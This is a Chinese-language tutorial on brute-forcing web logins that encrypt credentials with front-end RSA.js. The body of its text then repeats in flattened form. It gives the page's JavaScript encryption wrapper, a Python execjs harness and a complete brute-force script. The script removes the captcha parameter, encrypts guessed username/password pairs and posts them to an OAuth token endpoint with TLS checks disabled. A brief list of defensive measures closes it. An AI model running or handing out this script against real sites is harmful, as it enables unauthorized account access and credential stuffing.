当遇到前端RSA加密的时候暴力破解的方法
字数 1081 2025-08-09 22:16:00

前端RSA加密暴力破解方法详解

1. 背景分析

当网站登录采用前端RSA加密时,传统的暴力破解方法无法直接使用。本文介绍一种针对前端RSA加密的暴力破解方法,通过分析加密过程并模拟前端加密行为来实现有效攻击。

2. 加密机制分析

2.1 加密参数识别

  • 网站登录时提交的用户名(username)和密码(password)经过RSA加密
  • 通过去除j_authcode等无用参数可以绕过图形验证码
  • 加密过程在前端JavaScript中完成

2.2 RSA加密实现

  • 使用早期RSA.js/Barrett.js/BigInt.js项目实现加密
  • 公钥参数存储在config.js中,包含:
    • exponent(指数)
    • modulus(模数)
  • 这是一个256位公钥的RSA加密

3. 加密过程逆向

3.1 前端加密代码分析

<script src="./rsa/RSA.js" type="text/javascript"></script>
<script src="./rsa/BigInt.js" type="text/javascript"></script>
<script src="./rsa/Barrett.js" type="text/javascript"></script>
<script src="./rsa/config.js" type="text/javascript"></script>

<script>
function a(paramStr){
    setMaxDigits(130);
    key = new RSAKeyPair(exponent, "", modulus);
    return encryptedString(key, encodeURIComponent(paramStr));
}
qqq = a("admin");
alert(qqq);
</script>

3.2 加密流程

  1. 加载RSA相关JS库
  2. 定义加密函数a(paramStr)
  3. 设置最大位数(130)
  4. 创建RSA密钥对(使用exponent和modulus)
  5. 对输入字符串进行URI编码
  6. 调用encryptedString进行加密

4. Python实现加密模拟

4.1 使用execjs调用JS加密

import execjs

def rsa(str):
    file = 'RSA.js'
    ctx = execjs.compile(open(file).read())
    js = 'a("' + str + '")'
    params = ctx.eval(js)
    return params

print(rsa("admin"))

4.2 实现步骤

  1. 将前端所有JS代码合并到一个文件中(RSA.js)
  2. 使用execjs库加载并执行JS代码
  3. 调用加密函数a()对输入字符串进行加密
  4. 返回加密结果

5. 暴力破解脚本实现

5.1 完整爆破脚本

import requests
import execjs
requests.packages.urllib3.disable_warnings()

def urlpost(username, password):
    rusername = rsa(username)
    rpassword = rsa(password)
    url = "https://x.com/oauth/token"
    header = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0)Gecko/20100101 Firefox/79.0",
        "X-Requested-With": "XMLHttpRequest",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    cookie = {}
    data = {
        "username": rusername,
        "password": rpassword,
        "grant_type": "password",
        "scope": "service",
        "client_id": "spm",
        "client_secret": "sinoprof"
    }
    r = requests.post(url, cookies=cookie, headers=header, data=data, allow_redirects=False, verify=False)
    print(r.status_code)
    if r.status_code == 200:
        print(username + password + "success")
        exit()
    else:
        print(username + password + "error")

def rsa(str):
    file = 'RSA.js'
    ctx = execjs.compile(open(file).read())
    js = 'a("' + str + '")'
    params = ctx.eval(js)
    return params

folist = open('user.txt', 'r')
for i in folist.readlines():
    i = i.replace('\n', '')
    urlpost(i, i + "!@#456")
    urlpost(i, i + "!@#123")
    urlpost(i, "123456")

5.2 脚本功能说明

  1. 读取用户名列表(user.txt)
  2. 对每个用户名尝试三种密码组合:
    • 用户名+"!@#456"
    • 用户名+"!@#123"
    • "123456"
  3. 使用RSA加密用户名和密码
  4. 发送加密后的登录请求
  5. 根据HTTP状态码判断是否成功(200表示成功)

6. 关键点总结

  1. RSA参数获取:必须从网站前端获取exponent和modulus参数
  2. JS代码整合:需要将RSA.js、BigInt.js、Barrett.js和config.js合并为一个文件
  3. 加密模拟:使用Python的execjs库准确模拟前端加密过程
  4. 爆破策略:合理设计用户名和密码组合,提高爆破效率
  5. 验证码绕过:通过去除验证码相关参数(j_authcode)简化爆破过程

7. 防御建议

  1. 增加图形验证码的强制验证
  2. 使用动态RSA参数(每次请求生成新的exponent/modulus)
  3. 实施登录失败锁定机制
  4. 增加请求频率限制
  5. 使用更现代的加密方案替代老旧的RSA.js实现

通过以上方法,可以有效防御此类针对前端RSA加密的暴力破解攻击。

前端RSA加密暴力破解方法详解 1. 背景分析 当网站登录采用前端RSA加密时,传统的暴力破解方法无法直接使用。本文介绍一种针对前端RSA加密的暴力破解方法,通过分析加密过程并模拟前端加密行为来实现有效攻击。 2. 加密机制分析 2.1 加密参数识别 网站登录时提交的用户名(username)和密码(password)经过RSA加密 通过去除 j_authcode 等无用参数可以绕过图形验证码 加密过程在前端JavaScript中完成 2.2 RSA加密实现 使用早期RSA.js/Barrett.js/BigInt.js项目实现加密 公钥参数存储在config.js中,包含: exponent (指数) modulus (模数) 这是一个256位公钥的RSA加密 3. 加密过程逆向 3.1 前端加密代码分析 3.2 加密流程 加载RSA相关JS库 定义加密函数 a(paramStr) 设置最大位数(130) 创建RSA密钥对(使用exponent和modulus) 对输入字符串进行URI编码 调用 encryptedString 进行加密 4. Python实现加密模拟 4.1 使用execjs调用JS加密 4.2 实现步骤 将前端所有JS代码合并到一个文件中(RSA.js) 使用execjs库加载并执行JS代码 调用加密函数a()对输入字符串进行加密 返回加密结果 5. 暴力破解脚本实现 5.1 完整爆破脚本 5.2 脚本功能说明 读取用户名列表(user.txt) 对每个用户名尝试三种密码组合: 用户名+" !@#456" 用户名+" !@#123" "123456" 使用RSA加密用户名和密码 发送加密后的登录请求 根据HTTP状态码判断是否成功(200表示成功) 6. 关键点总结 RSA参数获取 :必须从网站前端获取exponent和modulus参数 JS代码整合 :需要将RSA.js、BigInt.js、Barrett.js和config.js合并为一个文件 加密模拟 :使用Python的execjs库准确模拟前端加密过程 爆破策略 :合理设计用户名和密码组合,提高爆破效率 验证码绕过 :通过去除验证码相关参数(j_ authcode)简化爆破过程 7. 防御建议 增加图形验证码的强制验证 使用动态RSA参数(每次请求生成新的exponent/modulus) 实施登录失败锁定机制 增加请求频率限制 使用更现代的加密方案替代老旧的RSA.js实现 通过以上方法,可以有效防御此类针对前端RSA加密的暴力破解攻击。